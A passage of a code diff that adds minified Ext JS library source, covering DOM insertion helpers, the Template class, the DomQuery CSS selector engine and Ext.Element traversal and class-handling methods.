0, B, C; + D.innerHTML = A; + C = D.childNodes; + B = C.length; + for (; z < B; z++) { + y.appendChild(C[z].cloneNode(true)) + } + return y + } + + r = {markup:function (y) { + return u(y) + }, applyStyles:function (y, z) { + if (z) { + var A; + y = Ext.fly(y); + if (typeof z == "function") { + z = z.call() + } + if (typeof z == "string") { + o.lastIndex = 0; + while ((A = o.exec(z))) { + y.setStyle(A[1], A[2]) + } + } else { + if (typeof z == "object") { + y.setStyle(z) + } + } + } + }, insertHtml:function (D, y, E) { + var B = {}, A, F, C, G, H, z; + D = D.toLowerCase(); + B[c] = ["BeforeBegin", "previousSibling"]; + B[p] = ["AfterEnd", "nextSibling"]; + if (y.insertAdjacentHTML) { + if (m.test(y.tagName) && (z = e(y.tagName.toLowerCase(), D, y, E))) { + return z + } + B[n] = ["AfterBegin", "firstChild"]; + B[q] = ["BeforeEnd", "lastChild"]; + if ((A = B[D])) { + y.insertAdjacentHTML(A[0], E); + return y[A[1]] + } + } else { + F = y.ownerDocument.createRange(); + G = "setStart" + (v.test(D) ? "After" : "Before"); + if (B[D]) { + F[G](y); + if (!F.createContextualFragment) { + H = s(E) + } else { + H = F.createContextualFragment(E) + } + y.parentNode.insertBefore(H, D == c ? y : y.nextSibling); + return y[(D == c ? "previous" : "next") + "Sibling"] + } else { + C = (D == n ? "first" : "last") + "Child"; + if (y.firstChild) { + F[G](y[C]); + if (!F.createContextualFragment) { + H = s(E) + } else { + H = F.createContextualFragment(E) + } + if (D == n) { + y.insertBefore(H, y.firstChild) + } else { + y.appendChild(H) + } + } else { + y.innerHTML = E + } + return y[C] + } + } + throw'Illegal insertion point -> "' + D + '"' + }, insertBefore:function (y, A, z) { + return h(y, A, z, c) + }, insertAfter:function (y, A, z) { + return h(y, A, z, p, "nextSibling") + }, insertFirst:function (y, A, z) { + return h(y, A, z, n, "firstChild") + }, append:function (y, A, z) { + return h(y, A, z, q, "", true) + }, overwrite:function (y, A, z) { + y = Ext.getDom(y); + y.innerHTML = u(A); + return z ? Ext.get(y.firstChild) : y.firstChild + }, createHtml:u}; + return r +}(); +Ext.Template = function (h) { + var j = this, c = arguments, e = [], d; + if (Ext.isArray(h)) { + h = h.join("") + } else { + if (c.length > 1) { + for (var g = 0, b = c.length; g < b; g++) { + d = c[g]; + if (typeof d == "object") { + Ext.apply(j, d) + } else { + e.push(d) + } + } + h = e.join("") + } + } + j.html = h; + if (j.compiled) { + j.compile() + } +}; +Ext.Template.prototype = {re:/\{([\w\-]+)\}/g, applyTemplate:function (a) { + var b = this; + return b.compiled ? b.compiled(a) : b.html.replace(b.re, function (c, d) { + return a[d] !== undefined ? a[d] : "" + }) +}, set:function (a, c) { + var b = this; + b.html = a; + b.compiled = null; + return c ? b.compile() : b +}, compile:function () { + var me = this, sep = Ext.isGecko ? "+" : ","; + + function fn(m, name) { + name = "values['" + name + "']"; + return"'" + sep + "(" + name + " == undefined ? '' : " + name + ")" + sep + "'" + } + + eval("this.compiled = function(values){ return " + (Ext.isGecko ? "'" : "['") + me.html.replace(/\\/g, "\\\\").replace(/(\r\n|\n)/g, "\\n").replace(/'/g, "\\'").replace(this.re, fn) + (Ext.isGecko ? "';};" : "'].join('');};")); + return me +}, insertFirst:function (b, a, c) { + return this.doInsert("afterBegin", b, a, c) +}, insertBefore:function (b, a, c) { + return this.doInsert("beforeBegin", b, a, c) +}, insertAfter:function (b, a, c) { + return this.doInsert("afterEnd", b, a, c) +}, append:function (b, a, c) { + return this.doInsert("beforeEnd", b, a, c) +}, doInsert:function (c, e, b, a) { + e = Ext.getDom(e); + var d = Ext.DomHelper.insertHtml(c, e, this.applyTemplate(b)); + return a ? Ext.get(d, true) : d +}, overwrite:function (b, a, c) { + b = Ext.getDom(b); + b.innerHTML = this.applyTemplate(a); + return c ? Ext.get(b.firstChild, true) : b.firstChild +}}; +Ext.Template.prototype.apply = Ext.Template.prototype.applyTemplate; +Ext.Template.from = function (b, a) { + b = Ext.getDom(b); + return new Ext.Template(b.value || b.innerHTML, a || "") +}; +Ext.DomQuery = function () { + var cache = {}, simpleCache = {}, valueCache = {}, nonSpace = /\S/, trimRe = /^\s+|\s+$/g, tplRe = /\{(\d+)\}/g, modeRe = /^(\s?[\/>+~]\s?|\s|$)/, tagTokenRe = /^(#)?([\w\-\*]+)/, nthRe = /(\d*)n\+?(\d*)/, nthRe2 = /\D/, isIE = window.ActiveXObject ? true : false, key = 30803; + eval("var batch = 30803;"); + function child(parent, index) { + var i = 0, n = parent.firstChild; + while (n) { + if (n.nodeType == 1) { + if (++i == index) { + return n + } + } + n = n.nextSibling + } + return null + } + + function next(n) { + while ((n = n.nextSibling) && n.nodeType != 1) { + } + return n + } + + function prev(n) { + while ((n = n.previousSibling) && n.nodeType != 1) { + } + return n + } + + function children(parent) { + var n = parent.firstChild, nodeIndex = -1, nextNode; + while (n) { + nextNode = n.nextSibling; + if (n.nodeType == 3 && !nonSpace.test(n.nodeValue)) { + parent.removeChild(n) + } else { + n.nodeIndex = ++nodeIndex + } + n = nextNode + } + return this + } + + function byClassName(nodeSet, cls) { + if (!cls) { + return nodeSet + } + var result = [], ri = -1; + for (var i = 0, ci; ci = nodeSet[i]; i++) { + if ((" " + ci.className + " ").indexOf(cls) != -1) { + result[++ri] = ci + } + } + return result + } + + function attrValue(n, attr) { + if (!n.tagName && typeof n.length != "undefined") { + n = n[0] + } + if (!n) { + return null + } + if (attr == "for") { + return n.htmlFor + } + if (attr == "class" || attr == "className") { + return n.className + } + return n.getAttribute(attr) || n[attr] + } + + function getNodes(ns, mode, tagName) { + var result = [], ri = -1, cs; + if (!ns) { + return result + } + tagName = tagName || "*"; + if (typeof ns.getElementsByTagName != "undefined") { + ns = [ns] + } + if (!mode) { + for (var i = 0, ni; ni = ns[i]; i++) { + cs = ni.getElementsByTagName(tagName); + for (var j = 0, ci; ci = cs[j]; j++) { + result[++ri] = ci + } + } + } else { + if (mode == "/" || mode == ">") { + var utag = tagName.toUpperCase(); + for (var i = 0, ni, cn; ni = ns[i]; i++) { + cn = ni.childNodes; + for (var j = 0, cj; cj = cn[j]; j++) { + if (cj.nodeName == utag || cj.nodeName == tagName || tagName == "*") { + result[++ri] = cj + } + } + } + } else { + if (mode == "+") { + var utag = tagName.toUpperCase(); + for (var i = 0, n; n = ns[i]; i++) { + while ((n = n.nextSibling) && n.nodeType != 1) { + } + if (n && (n.nodeName == utag || n.nodeName == tagName || tagName == "*")) { + result[++ri] = n + } + } + } else { + if (mode == "~") { + var utag = tagName.toUpperCase(); + for (var i = 0, n; n = ns[i]; i++) { + while ((n = n.nextSibling)) { + if (n.nodeName == utag || n.nodeName == tagName || tagName == "*") { + result[++ri] = n + } + } + } + } + } + } + } + return result + } + + function concat(a, b) { + if (b.slice) { + return a.concat(b) + } + for (var i = 0, l = b.length; i < l; i++) { + a[a.length] = b[i] + } + return a + } + + function byTag(cs, tagName) { + if (cs.tagName || cs == document) { + cs = [cs] + } + if (!tagName) { + return cs + } + var result = [], ri = -1; + tagName = tagName.toLowerCase(); + for (var i = 0, ci; ci = cs[i]; i++) { + if (ci.nodeType == 1 && ci.tagName.toLowerCase() == tagName) { + result[++ri] = ci + } + } + return result + } + + function byId(cs, id) { + if (cs.tagName || cs == document) { + cs = [cs] + } + if (!id) { + return cs + } + var result = [], ri = -1; + for (var i = 0, ci; ci = cs[i]; i++) { + if (ci && ci.id == id) { + result[++ri] = ci; + return result + } + } + return result + } + + function byAttribute(cs, attr, value, op, custom) { + var result = [], ri = -1, useGetStyle = custom == "{", fn = Ext.DomQuery.operators[op], a, xml, hasXml; + for (var i = 0, ci; ci = cs[i]; i++) { + if (ci.nodeType != 1) { + continue + } + if (!hasXml) { + xml = Ext.DomQuery.isXml(ci); + hasXml = true + } + if (!xml) { + if (useGetStyle) { + a = Ext.DomQuery.getStyle(ci, attr) + } else { + if (attr == "class" || attr == "className") { + a = ci.className + } else { + if (attr == "for") { + a = ci.htmlFor + } else { + if (attr == "href") { + a = ci.getAttribute("href", 2) + } else { + a = ci.getAttribute(attr) + } + } + } + } + } else { + a = ci.getAttribute(attr) + } + if ((fn && fn(a, value)) || (!fn && a)) { + result[++ri] = ci + } + } + return result + } + + function byPseudo(cs, name, value) { + return Ext.DomQuery.pseudos[name](cs, value) + } + + function nodupIEXml(cs) { + var d = ++key, r; + cs[0].setAttribute("_nodup", d); + r = [cs[0]]; + for (var i = 1, len = cs.length; i < len; i++) { + var c = cs[i]; + if (!c.getAttribute("_nodup") != d) { + c.setAttribute("_nodup", d); + r[r.length] = c + } + } + for (var i = 0, len = cs.length; i < len; i++) { + cs[i].removeAttribute("_nodup") + } + return r + } + + function nodup(cs) { + if (!cs) { + return[] + } + var len = cs.length, c, i, r = cs, cj, ri = -1; + if (!len || typeof cs.nodeType != "undefined" || len == 1) { + return cs + } + if (isIE && typeof cs[0].selectSingleNode != "undefined") { + return nodupIEXml(cs) + } + var d = ++key; + cs[0]._nodup = d; + for (i = 1; c = cs[i]; i++) { + if (c._nodup != d) { + c._nodup = d + } else { + r = []; + for (var j = 0; j < i; j++) { + r[++ri] = cs[j] + } + for (j = i + 1; cj = cs[j]; j++) { + if (cj._nodup != d) { + cj._nodup = d; + r[++ri] = cj + } + } + return r + } + } + return r + } + + function quickDiffIEXml(c1, c2) { + var d = ++key, r = []; + for (var i = 0, len = c1.length; i < len; i++) { + c1[i].setAttribute("_qdiff", d) + } + for (var i = 0, len = c2.length; i < len; i++) { + if (c2[i].getAttribute("_qdiff") != d) { + r[r.length] = c2[i] + } + } + for (var i = 0, len = c1.length; i < len; i++) { + c1[i].removeAttribute("_qdiff") + } + return r + } + + function quickDiff(c1, c2) { + var len1 = c1.length, d = ++key, r = []; + if (!len1) { + return c2 + } + if (isIE && typeof c1[0].selectSingleNode != "undefined") { + return quickDiffIEXml(c1, c2) + } + for (var i = 0; i < len1; i++) { + c1[i]._qdiff = d + } + for (var i = 0, len = c2.length; i < len; i++) { + if (c2[i]._qdiff != d) { + r[r.length] = c2[i] + } + } + return r + } + + function quickId(ns, mode, root, id) { + if (ns == root) { + var d = root.ownerDocument || root; + return d.getElementById(id) + } + ns = getNodes(ns, mode, "*"); + return byId(ns, id) + } + + return{getStyle:function (el, name) { + return Ext.fly(el).getStyle(name) + }, compile:function (path, type) { + type = type || "select"; + var fn = ["var f = function(root){\n var mode; ++batch; var n = root || document;\n"], mode, lastPath, matchers = Ext.DomQuery.matchers, matchersLn = matchers.length, modeMatch, lmode = path.match(modeRe); + if (lmode && lmode[1]) { + fn[fn.length] = 'mode="' + lmode[1].replace(trimRe, "") + '";'; + path = path.replace(lmode[1], "") + } + while (path.substr(0, 1) == "/") { + path = path.substr(1) + } + while (path && lastPath != path) { + lastPath = path; + var tokenMatch = path.match(tagTokenRe); + if (type == "select") { + if (tokenMatch) { + if (tokenMatch[1] == "#") { + fn[fn.length] = 'n = quickId(n, mode, root, "' + tokenMatch[2] + '");' + } else { + fn[fn.length] = 'n = getNodes(n, mode, "' + tokenMatch[2] + '");' + } + path = path.replace(tokenMatch[0], "") + } else { + if (path.substr(0, 1) != "@") { + fn[fn.length] = 'n = getNodes(n, mode, "*");' + } + } + } else { + if (tokenMatch) { + if (tokenMatch[1] == "#") { + fn[fn.length] = 'n = byId(n, "' + tokenMatch[2] + '");' + } else { + fn[fn.length] = 'n = byTag(n, "' + tokenMatch[2] + '");' + } + path = path.replace(tokenMatch[0], "") + } + } + while (!(modeMatch = path.match(modeRe))) { + var matched = false; + for (var j = 0; j < matchersLn; j++) { + var t = matchers[j]; + var m = path.match(t.re); + if (m) { + fn[fn.length] = t.select.replace(tplRe, function (x, i) { + return m[i] + }); + path = path.replace(m[0], ""); + matched = true; + break + } + } + if (!matched) { + throw'Error parsing selector, parsing failed at "' + path + '"' + } + } + if (modeMatch[1]) { + fn[fn.length] = 'mode="' + modeMatch[1].replace(trimRe, "") + '";'; + path = path.replace(modeMatch[1], "") + } + } + fn[fn.length] = "return nodup(n);\n}"; + eval(fn.join("")); + return f + }, jsSelect:function (path, root, type) { + root = root || document; + if (typeof root == "string") { + root = document.getElementById(root) + } + var paths = path.split(","), results = []; + for (var i = 0, len = paths.length; i < len; i++) { + var subPath = paths[i].replace(trimRe, ""); + if (!cache[subPath]) { + cache[subPath] = Ext.DomQuery.compile(subPath); + if (!cache[subPath]) { + throw subPath + " is not a valid selector" + } + } + var result = cache[subPath](root); + if (result && result != document) { + results = results.concat(result) + } + } + if (paths.length > 1) { + return nodup(results) + } + return results + }, isXml:function (el) { + var docEl = (el ? el.ownerDocument || el : 0).documentElement; + return docEl ? docEl.nodeName !== "HTML" : false + }, select:document.querySelectorAll ? function (path, root, type) { + root = root || document; + if (!Ext.DomQuery.isXml(root)) { + try { + var cs = root.querySelectorAll(path); + return Ext.toArray(cs) + } catch (ex) { + } + } + return Ext.DomQuery.jsSelect.call(this, path, root, type) + } : function (path, root, type) { + return Ext.DomQuery.jsSelect.call(this, path, root, type) + }, selectNode:function (path, root) { + return Ext.DomQuery.select(path, root)[0] + }, selectValue:function (path, root, defaultValue) { + path = path.replace(trimRe, ""); + if (!valueCache[path]) { + valueCache[path] = Ext.DomQuery.compile(path, "select") + } + var n = valueCache[path](root), v; + n = n[0] ? n[0] : n; + if (typeof n.normalize == "function") { + n.normalize() + } + v = (n && n.firstChild ? n.firstChild.nodeValue : null); + return((v === null || v === undefined || v === "") ? defaultValue : v) + }, selectNumber:function (path, root, defaultValue) { + var v = Ext.DomQuery.selectValue(path, root, defaultValue || 0); + return parseFloat(v) + }, is:function (el, ss) { + if (typeof el == "string") { + el = document.getElementById(el) + } + var isArray = Ext.isArray(el), result = Ext.DomQuery.filter(isArray ? el : [el], ss); + return isArray ? (result.length == el.length) : (result.length > 0) + }, filter:function (els, ss, nonMatches) { + ss = ss.replace(trimRe, ""); + if (!simpleCache[ss]) { + simpleCache[ss] = Ext.DomQuery.compile(ss, "simple") + } + var result = simpleCache[ss](els); + return nonMatches ? quickDiff(result, els) : result + }, matchers:[ + {re:/^\.([\w\-]+)/, select:'n = byClassName(n, " {1} ");'}, + {re:/^\:([\w\-]+)(?:\(((?:[^\s>\/]*|.*?))\))?/, select:'n = byPseudo(n, "{1}", "{2}");'}, + {re:/^(?:([\[\{])(?:@)?([\w\-]+)\s?(?:(=|.=)\s?(["']?)(.*?)\4)?[\]\}])/, select:'n = byAttribute(n, "{2}", "{5}", "{3}", "{1}");'}, + {re:/^#([\w\-]+)/, select:'n = byId(n, "{1}");'}, + {re:/^@([\w\-]+)/, select:'return {firstChild:{nodeValue:attrValue(n, "{1}")}};'} + ], operators:{"=":function (a, v) { + return a == v + }, "!=":function (a, v) { + return a != v + }, "^=":function (a, v) { + return a && a.substr(0, v.length) == v + }, "$=":function (a, v) { + return a && a.substr(a.length - v.length) == v + }, "*=":function (a, v) { + return a && a.indexOf(v) !== -1 + }, "%=":function (a, v) { + return(a % v) == 0 + }, "|=":function (a, v) { + return a && (a == v || a.substr(0, v.length + 1) == v + "-") + }, "~=":function (a, v) { + return a && (" " + a + " ").indexOf(" " + v + " ") != -1 + }}, pseudos:{"first-child":function (c) { + var r = [], ri = -1, n; + for (var i = 0, ci; ci = n = c[i]; i++) { + while ((n = n.previousSibling) && n.nodeType != 1) { + } + if (!n) { + r[++ri] = ci + } + } + return r + }, "last-child":function (c) { + var r = [], ri = -1, n; + for (var i = 0, ci; ci = n = c[i]; i++) { + while ((n = n.nextSibling) && n.nodeType != 1) { + } + if (!n) { + r[++ri] = ci + } + } + return r + }, "nth-child":function (c, a) { + var r = [], ri = -1, m = nthRe.exec(a == "even" && "2n" || a == "odd" && "2n+1" || !nthRe2.test(a) && "n+" + a || a), f = (m[1] || 1) - 0, l = m[2] - 0; + for (var i = 0, n; n = c[i]; i++) { + var pn = n.parentNode; + if (batch != pn._batch) { + var j = 0; + for (var cn = pn.firstChild; cn; cn = cn.nextSibling) { + if (cn.nodeType == 1) { + cn.nodeIndex = ++j + } + } + pn._batch = batch + } + if (f == 1) { + if (l == 0 || n.nodeIndex == l) { + r[++ri] = n + } + } else { + if ((n.nodeIndex + l) % f == 0) { + r[++ri] = n + } + } + } + return r + }, "only-child":function (c) { + var r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + if (!prev(ci) && !next(ci)) { + r[++ri] = ci + } + } + return r + }, empty:function (c) { + var r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + var cns = ci.childNodes, j = 0, cn, empty = true; + while (cn = cns[j]) { + ++j; + if (cn.nodeType == 1 || cn.nodeType == 3) { + empty = false; + break + } + } + if (empty) { + r[++ri] = ci + } + } + return r + }, contains:function (c, v) { + var r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + if ((ci.textContent || ci.innerText || "").indexOf(v) != -1) { + r[++ri] = ci + } + } + return r + }, nodeValue:function (c, v) { + var r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + if (ci.firstChild && ci.firstChild.nodeValue == v) { + r[++ri] = ci + } + } + return r + }, checked:function (c) { + var r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + if (ci.checked == true) { + r[++ri] = ci + } + } + return r + }, not:function (c, ss) { + return Ext.DomQuery.filter(c, ss, true) + }, any:function (c, selectors) { + var ss = selectors.split("|"), r = [], ri = -1, s; + for (var i = 0, ci; ci = c[i]; i++) { + for (var j = 0; s = ss[j]; j++) { + if (Ext.DomQuery.is(ci, s)) { + r[++ri] = ci; + break + } + } + } + return r + }, odd:function (c) { + return this["nth-child"](c, "odd") + }, even:function (c) { + return this["nth-child"](c, "even") + }, nth:function (c, a) { + return c[a - 1] || [] + }, first:function (c) { + return c[0] || [] + }, last:function (c) { + return c[c.length - 1] || [] + }, has:function (c, ss) { + var s = Ext.DomQuery.select, r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + if (s(ss, ci).length > 0) { + r[++ri] = ci + } + } + return r + }, next:function (c, ss) { + var is = Ext.DomQuery.is, r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + var n = next(ci); + if (n && is(n, ss)) { + r[++ri] = ci + } + } + return r + }, prev:function (c, ss) { + var is = Ext.DomQuery.is, r = [], ri = -1; + for (var i = 0, ci; ci = c[i]; i++) { + var n = prev(ci); + if (n && is(n, ss)) { + r[++ri] = ci + } + } + return r + }}} +}(); +Ext.query = Ext.DomQuery.select; +Ext.util.DelayedTask = function (d, c, a) { + var e = this, g, b = function () { + clearInterval(g); + g = null; + d.apply(c, a || []) + }; + e.delay = function (i, k, j, h) { + e.cancel(); + d = k || d; + c = j || c; + a = h || a; + g = setInterval(b, i) + }; + e.cancel = function () { + if (g) { + clearInterval(g); + g = null + } + } +}; +(function () { + var h = document; + Ext.Element = function (l, m) { + var n = typeof l == "string" ? h.getElementById(l) : l, o; + if (!n) { + return null + } + o = n.id; + if (!m && o && Ext.elCache[o]) { + return Ext.elCache[o].el + } + this.dom = n; + this.id = o || Ext.id(n) + }; + var d = Ext.DomHelper, e = Ext.Element, a = Ext.elCache; + e.prototype = {set:function (q, m) { + var n = this.dom, l, p, m = (m !== false) && !!n.setAttribute; + for (l in q) { + if (q.hasOwnProperty(l)) { + p = q[l]; + if (l == "style") { + d.applyStyles(n, p) + } else { + if (l == "cls") { + n.className = p + } else { + if (m) { + n.setAttribute(l, p) + } else { + n[l] = p + } + } + } + } + } + return this + }, defaultUnit:"px", is:function (l) { + return Ext.DomQuery.is(this.dom, l) + }, focus:function (o, n) { + var l = this, n = n || l.dom; + try { + if (Number(o)) { + l.focus.defer(o, null, [null, n]) + } else { + n.focus() + } + } catch (m) { + } + return l + }, blur:function () { + try { + this.dom.blur() + } catch (l) { + } + return this + }, getValue:function (l) { + var m = this.dom.value; + return l ? parseInt(m, 10) : m + }, addListener:function (l, o, n, m) { + Ext.EventManager.on(this.dom, l, o, n || this, m); + return this + }, removeListener:function (l, n, m) { + Ext.EventManager.removeListener(this.dom, l, n, m || this); + return this + }, removeAllListeners:function () { + Ext.EventManager.removeAll(this.dom); + return this + }, purgeAllListeners:function () { + Ext.EventManager.purgeElement(this, true); + return this + }, addUnits:function (l) { + if (l === "" || l == "auto" || l === undefined) { + l = l || "" + } else { + if (!isNaN(l) || !i.test(l)) { + l = l + (this.defaultUnit || "px") + } + } + return l + }, load:function (m, n, l) { + Ext.Ajax.request(Ext.apply({params:n, url:m.url || m, callback:l, el:this.dom, indicatorText:m.indicatorText || ""}, Ext.isObject(m) ? m : {})); + return this + }, isBorderBox:function () { + return Ext.isBorderBox || Ext.isForcedBorderBox || g[(this.dom.tagName || "").toLowerCase()] + }, remove:function () { + var l = this, m = l.dom; + if (m) { + delete l.dom; + Ext.removeNode(m) + } + }, hover:function (m, l, o, n) { + var p = this; + p.on("mouseenter", m, o || p.dom, n); + p.on("mouseleave", l, o || p.dom, n); + return p + }, contains:function (l) { + return !l ? false : Ext.lib.Dom.isAncestor(this.dom, l.dom ? l.dom : l) + }, getAttributeNS:function (m, l) { + return this.getAttribute(l, m) + }, getAttribute:(function () { + var p = document.createElement("table"), o = false, m = "getAttribute" in p, l = /undefined|unknown/; + if (m) { + try { + p.getAttribute("ext:qtip") + } catch (n) { + o = true + } + return function (q, s) { + var r = this.dom, t; + if (r.getAttributeNS) { + t = r.getAttributeNS(s, q) || null + } + if (t == null) { + if (s) { + if (o && r.tagName.toUpperCase() == "TABLE") { + try { + t = r.getAttribute(s + ":" + q) + } catch (u) { + t = "" + } + } else { + t = r.getAttribute(s + ":" + q) + } + } else { + t = r.getAttribute(q) || r[q] + } + } + return t || "" + } + } else { + return function (q, s) { + var r = this.om, u, t; + if (s) { + t = r[s + ":" + q]; + u = l.test(typeof t) ? undefined : t + } else { + u = r[q] + } + return u || "" + } + } + p = null + })(), update:function (l) { + if (this.dom) { + this.dom.innerHTML = l + } + return this + }}; + var k = e.prototype; + e.addMethods = function (l) { + Ext.apply(k, l) + }; + k.on = k.addListener; + k.un = k.removeListener; + k.autoBoxAdjust = true; + var i = /\d+(px|em|%|en|ex|pt|in|cm|mm|pc)$/i, c; + e.get = function (m) { + var l, p, o; + if (!m) { + return null + } + if (typeof m == "string") { + if (!(p = h.getElementById(m))) { + return null + } + if (a[m] && a[m].el) { + l = a[m].el; + l.dom = p + } else { + l = e.addToCache(new e(p)) + } + return l + } else { + if (m.tagName) { + if (!(o = m.id)) { + o = Ext.id(m) + } + if (a[o] && a[o].el) { + l = a[o].el; + l.dom = m + } else { + l = e.addToCache(new e(m)) + } + return l + } else { + if (m instanceof e) { + if (m != c) { + if (Ext.isIE && (m.id == undefined || m.id == "")) { + m.dom = m.dom + } else { + m.dom = h.getElementById(m.id) || m.dom + } + } + return m + } else { + if (m.isComposite) { + return m + } else { + if (Ext.isArray(m)) { + return e.select(m) + } else { + if (m == h) { + if (!c) { + var n = function () { + }; + n.prototype = e.prototype; + c = new n(); + c.dom = h + } + return c + } + } + } + } + } + } + return null + }; + e.addToCache = function (l, m) { + m = m || l.id; + a[m] = {el:l, data:{}, events:{}}; + return l + }; + e.data = function (m, l, n) { + m = e.get(m); + if (!m) { + return null + } + var o = a[m.id].data; + if (arguments.length == 2) { + return o[l] + } else { + return(o[l] = n) + } + }; + function j() { + if (!Ext.enableGarbageCollector) { + clearInterval(e.collectorThreadId) + } else { + var l, n, q, p; + for (l in a) { + p = a[l]; + if (p.skipGC) { + continue + } + n = p.el; + q = n.dom; + if (!q || !q.parentNode || (!q.offsetParent && !h.getElementById(l))) { + if (Ext.enableListenerCollection) { + Ext.EventManager.removeAll(q) + } + delete a[l] + } + } + if (Ext.isIE) { + var m = {}; + for (l in a) { + m[l] = a[l] + } + a = Ext.elCache = m + } + } + } + + e.collectorThreadId = setInterval(j, 30000); + var b = function () { + }; + b.prototype = e.prototype; + e.Flyweight = function (l) { + this.dom = l + }; + e.Flyweight.prototype = new b(); + e.Flyweight.prototype.isFlyweight = true; + e._flyweights = {}; + e.fly = function (n, l) { + var m = null; + l = l || "_global"; + if (n = Ext.getDom(n)) { + (e._flyweights[l] = e._flyweights[l] || new e.Flyweight()).dom = n; + m = e._flyweights[l] + } + return m + }; + Ext.get = e.get; + Ext.fly = e.fly; + var g = Ext.isStrict ? {select:1} : {input:1, select:1, textarea:1}; + if (Ext.isIE || Ext.isGecko) { + g.button = 1 + } +})(); +Ext.Element.addMethods(function () { + var d = "parentNode", b = "nextSibling", c = "previousSibling", e = Ext.DomQuery, a = Ext.get; + return{findParent:function (m, l, h) { + var j = this.dom, g = document.body, k = 0, i; + if (Ext.isGecko && Object.prototype.toString.call(j) == "[object XULElement]") { + return null + } + l = l || 50; + if (isNaN(l)) { + i = Ext.getDom(l); + l = Number.MAX_VALUE + } + while (j && j.nodeType == 1 && k < l && j != g && j != i) { + if (e.is(j, m)) { + return h ? a(j) : j + } + k++; + j = j.parentNode + } + return null + }, findParentNode:function (j, i, g) { + var h = Ext.fly(this.dom.parentNode, "_internal"); + return h ? h.findParent(j, i, g) : null + }, up:function (h, g) { + return this.findParentNode(h, g, true) + }, select:function (g) { + return Ext.Element.select(g, this.dom) + }, query:function (g) { + return e.select(g, this.dom) + }, child:function (g, h) { + var i = e.selectNode(g, this.dom); + return h ? i : a(i) + }, down:function (g, h) { + var i = e.selectNode(" > " + g, this.dom); + return h ? i : a(i) + }, parent:function (g, h) { + return this.matchNode(d, d, g, h) + }, next:function (g, h) { + return this.matchNode(b, b, g, h) + }, prev:function (g, h) { + return this.matchNode(c, c, g, h) + }, first:function (g, h) { + return this.matchNode(b, "firstChild", g, h) + }, last:function (g, h) { + return this.matchNode(c, "lastChild", g, h) + }, matchNode:function (h, k, g, i) { + var j = this.dom[k]; + while (j) { + if (j.nodeType == 1 && (!g || e.is(j, g))) { + return !i ? a(j) : j + } + j = j[h] + } + return null + }} +}()); +Ext.Element.addMethods(function () { + var c = Ext.getDom, a = Ext.get, b = Ext.DomHelper; + return{appendChild:function (d) { + return a(d).appendTo(this) + }, appendTo:function (d) { + c(d).appendChild(this.dom); + return this + }, insertBefore:function (d) { + (d = c(d)).parentNode.insertBefore(this.dom, d); + return this + }, insertAfter:function (d) { + (d = c(d)).parentNode.insertBefore(this.dom, d.nextSibling); + return this + }, insertFirst:function (e, d) { + e = e || {}; + if (e.nodeType || e.dom || typeof e == "string") { + e = c(e); + this.dom.insertBefore(e, this.dom.firstChild); + return !d ? a(e) : e + } else { + return this.createChild(e, this.dom.firstChild, d) + } + }, replace:function (d) { + d = a(d); + this.insertBefore(d); + d.remove(); + return this + }, replaceWith:function (d) { + var e = this; + if (d.nodeType || d.dom || typeof d == "string") { + d = c(d); + e.dom.parentNode.insertBefore(d, e.dom) + } else { + d = b.insertBefore(e.dom, d) + } + delete Ext.elCache[e.id]; + Ext.removeNode(e.dom); + e.id = Ext.id(e.dom = d); + Ext.Element.addToCache(e.isFlyweight ? new Ext.Element(e.dom) : e); + return e + }, createChild:function (e, d, g) { + e = e || {tag:"div"}; + return d ? b.insertBefore(d, e, g !== true) : b[!this.dom.firstChild ? "overwrite" : "append"](this.dom, e, g !== true) + }, wrap:function (d, e) { + var g = b.insertBefore(this.dom, d || {tag:"div"}, !e); + g.dom ? g.dom.appendChild(this.dom) : g.appendChild(this.dom); + return g + }, insertHtml:function (e, g, d) { + var h = b.insertHtml(e, this.dom, g); + return d ? Ext.get(h) : h + }} +}()); +Ext.Element.addMethods(function () { + var A = Ext.supports, h = {}, x = /(-[a-z])/gi, s = document.defaultView, D = /alpha\(opacity=(.*)\)/i, l = /^\s+|\s+$/g, B = Ext.Element, u = /\s+/, b = /\w/g, d = "padding", c = "margin", y = "border", t = "-left", q = "-right", w = "-top", o = "-bottom", j = "-width", r = Math, z = "hidden", e = "isClipped", k = "overflow", n = "overflow-x", m = "overflow-y", C = "originalClip", i = {l:y + t + j, r:y + q + j, t:y + w + j, b:y + o + j}, g = {l:d + t, r:d + q, t:d + w, b:d + o}, a = {l:c + t, r:c + q, t:c + w, b:c + o}, E = Ext.Element.data; + + function p(F, G) { + return G.charAt(1).toUpperCase() + } + + function v(F) { + return h[F] || (h[F] = F == "float" ? (A.cssFloat ? "cssFloat" : "styleFloat") : F.replace(x, p)) + } + + return{adjustWidth:function (F) { + var G = this; + var H = (typeof F == "number"); + if (H && G.autoBoxAdjust && !G.isBorderBox()) { + F -= (G.getBorderWidth("lr") + G.getPadding("lr")) + } + return(H && F < 0) ? 0 : F + }, adjustHeight:function (F) { + var G = this; + var H = (typeof F == "number"); + if (H && G.autoBoxAdjust && !G.isBorderBox()) { + F -= (G.getBorderWidth("tb") + G.getPadding("tb")) + } + return(H && F < 0) ? 0 : F + }, addClass:function (J) { + var K = this, I, F, H, G = []; + if (!Ext.isArray(J)) { + if (typeof J == "string" && !this.hasClass(J)) { + K.dom.className += " " + J + } + } else { + for (I = 0, F = J.length; I < F; I++) { + H = J[I]; + if (typeof H == "string" && (" " + K.dom.className + " ").indexOf(" " + H + " ") == -1) { + G.push(H) + } + } + if (G.length) { + K.dom.className += " " + G.join(" ") + } + } + return K + }, removeClass:function (K) { + var L = this, J, G, F, I, H; + if (!Ext.isArray(K)) { + K = [K] + } + if (L.dom && L.dom.className) { + H = L.dom.className.replace(l, "").split(u); + for (J = 0, F = K.length; J < F; J++) { + I = K[J]; + if (typeof I == "string") { + I = I.replace(l, ""); + G = H.indexOf(I); + if (G != -1) { + H.splice(G, 1) + } + } + } + L.dom.className = H.join(" ") + } + return L + }, radioClass:function (I) { + var J = this.dom.parentNode.childNodes, G, H, F; + I = Ext.isArray(I) ? I : [I]; + for (H = 0, F = J.length; H < F; H++) { + G = J[H]; + if (G && G.nodeType == 1) { + Ext.fly(G, "_internal").removeClass(I) + } + } + return this.addClass(I) + }, 